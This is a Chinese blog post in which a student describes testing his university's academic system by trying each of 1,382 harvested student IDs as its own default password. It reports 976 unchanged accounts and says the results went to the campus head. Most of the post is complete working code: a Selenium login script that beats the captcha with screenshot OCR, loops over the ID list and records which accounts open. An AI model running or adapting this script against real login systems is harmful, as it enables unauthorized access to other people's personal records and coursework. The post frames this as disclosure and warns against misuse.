Fork me on GitHub

关于针对本校教务系统漏洞的一次信息检索

因为很久以前看了一篇别人对教务系统进行信息检索的实例,我也想查看一下我们校区的教务系统到底有多安全。但是在实际写脚本时候,却遇到了很多问题,本篇博客也将是一篇技术总结。


一、前期准备

思路是一个一个学号的去试是否使用了默认密码,我了解到16级的教务系统默认密码是随机码,18级的教务系统默认密码是身份证后六位,但偏偏只有我们17级的默认密码就是学号,而且现在无法进行更改,所以我只针对17级进行检索。

学号是从考试周的工作表得到的,最开始想的是自己构造,后来发现直接可以在专业群聊找到所有专业的考试安排表。

然后针对学号去重。脚本如下

 1 import sys
 2 
 3 vis = {}
 4 
 5 def main():
 6     file_out = open("./data/xh.txt","w+")
 7     with open("./data/xuehao.txt","r") as file_in:
 8         for user in file_in.readlines():
 9             user = user.strip('\n')
10             if user not in vis:
11                 vis[user] = 1
12                 print(user,file=file_out)
13     file_out.close()
14 
15 if __name__ == "__main__":
16     main()
17 else:
18     pass

然后就是开始针对教务系统的模拟登录脚本编写了。

二、脚本编写以及运行

用fiddler扫了一篇网页后,发现是POST传递参数

 

于是就想直接构造一个表单数据POST传递上去查看返回信息,但是遇到了一个问题,验证码,开始我想直接把验证码通过url爬下来,但是F12后发现,验证码的地址是临时随机产生的,如下图

找了很多方法,还是没有解决这个随机验证码的问题。后来借鉴了一种可行的方法,利用selenium扩展库的webdriver直接模拟登录,然后每次截图获取到验证码,虽然效率比较低,但却是一种可行方案。

解决方案如下,利用截图获取验证码图片,然后再利用OCR识别验证码,识别出来可能有空格,所以replace就好了。

其他部分就比较好写了,通过xpath获得网页元素模块,然后直接枚举即可。

三、信息分析

运行结果如下

一共测试了1382个学号,其中有976个都没有更改密码,但是教务系统中包含了大量的个人信息。

这是我的教务系统的个人主页,若是不法分子恶意爬取这些信息将可能造成一些不好的后果。而且教务系统可以直接选课,退课,以及等等和学习有关的操作,其安全问题不可小觑。

当然本次信息检索到此已经结束,只是针对是否改密进行检索,得到结果后我也马上整理发送给了校区赵校长。

四、总结

 照成这么多人没有改密的原因有一点是因为教务系统没法随时进行改密,包括一些18级,16级的同学也说无法改密,但是他们的密码相对而言比较安全,但我们使用学号作为默认密码实在是过于简单。

经过几次思考之后,还是决定把代码整理并放出来,仅供参考学习

编写脚本遇到的一些问题大多都是环境没有配置好的问题,也都得到解决。

脚本代码如下:

 1 import time
 2 import pytesseract
 3 from PIL import Image, ImageEnhance
 4 from selenium import webdriver
 5 from selenium.webdriver.common.by import By
 6  
 7 url = ""
 8 
 9 def work(user_data,pass_data):
10     # 1、打开浏览器,最大化浏览器
11     driver = webdriver.Firefox()
12     driver.get(url)
13     driver.implicitly_wait(40)
14     driver.maximize_window()
15 
16     userElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[1]/td[2]/input")
17     passElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[2]/td[2]/input")
18     codeElement = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[2]/td/table/tbody/tr[3]/td[2]/input")
19 
20     # 2、截取屏幕内容,保存到本地
21     driver.save_screenshot("./test/01.png")
22     
23     # 3、打开截图,获取验证码位置,截取保存验证码
24     ran = Image.open("./test/01.png")
25     box = (829, 495, 928, 519)  # 获取验证码位置,代表(左,上,右,下)
26     ran.crop(box).save("./test/02.png")
27     
28     # 4、获取验证码图片,读取验证码
29     imageCode = Image.open("./test/02.png")
30     code = pytesseract.image_to_string(imageCode).strip().replace(" ","")
31     # 5、收到验证码,进行输入验证
32     
33     userElement.send_keys(user_data)
34     passElement.send_keys(pass_data)
35     codeElement.send_keys(code)
36     click_login = driver.find_element(By.XPATH, "//*[@id=\"btnSure\"]")
37     click_login.click()
38     time.sleep(0.01)
39 
40     try:
41         title_data = driver.title
42         if title_data.find('个人管理') != -1:
43             print(user_data,'success')
44             driver.close()
45             return 0
46         else:
47             error_data = driver.find_element(By.XPATH, "/html/body/table/tbody/tr/td/table[3]/tbody/tr/td[2]/form/table/tbody/tr[1]/td/table/tbody/tr/td/table/tbody/tr[2]/td[2]/strong/font").text
48             if error_data.find('验证码错误') != -1:
49                 driver.close()
50                 return 1
51             elif error_data.find('密码不正确') != -1:
52                 print(user_data,'wrong')
53                 driver.close()
54                 return 2
55             elif error_data.find('证件号') != -1:
56                 driver.close()
57                 return 3
58     except Exception:
59             print(user_data,'abnormal')
60             driver.close()
61             return 1
62 
63 def main():
64     i = 1
65     sum = 0
66     ans = ''
67     file_out = open("./data/result.txt",'w+')
68     with open("./data/xh.txt",'r') as file_in:
69         for user in file_in.readlines():
70             user = user.strip('\n')
71             password = user
72             print(i,end = ' ')
73             i += 1
74             ret = work(user,password)
75             while ret == 1:
76                 ret = work(user,password)
77             if ret == 0:
78                 sum += 1
79                 ans = 'correct'
80             elif ret == 2:
81                 ans = 'wrong'
82             elif ret == 3:
83                 ans = 'Number is wrong'
84             print(user,ans,file=file_out)
85     print('Use the default password persons:',sum,file=file_out)
86     file_out.close()
87 
88 
89 if __name__ == "__main__":
90     main()
91 else:
92     pass
View Code

 

或者可以访问GitHub获取:https://github.com/X3NNY/URPscript

希望大家不要用来非法获取信息

posted @ 2019-01-16 09:41  Xenny  阅读(2977)  评论(3编辑  收藏  举报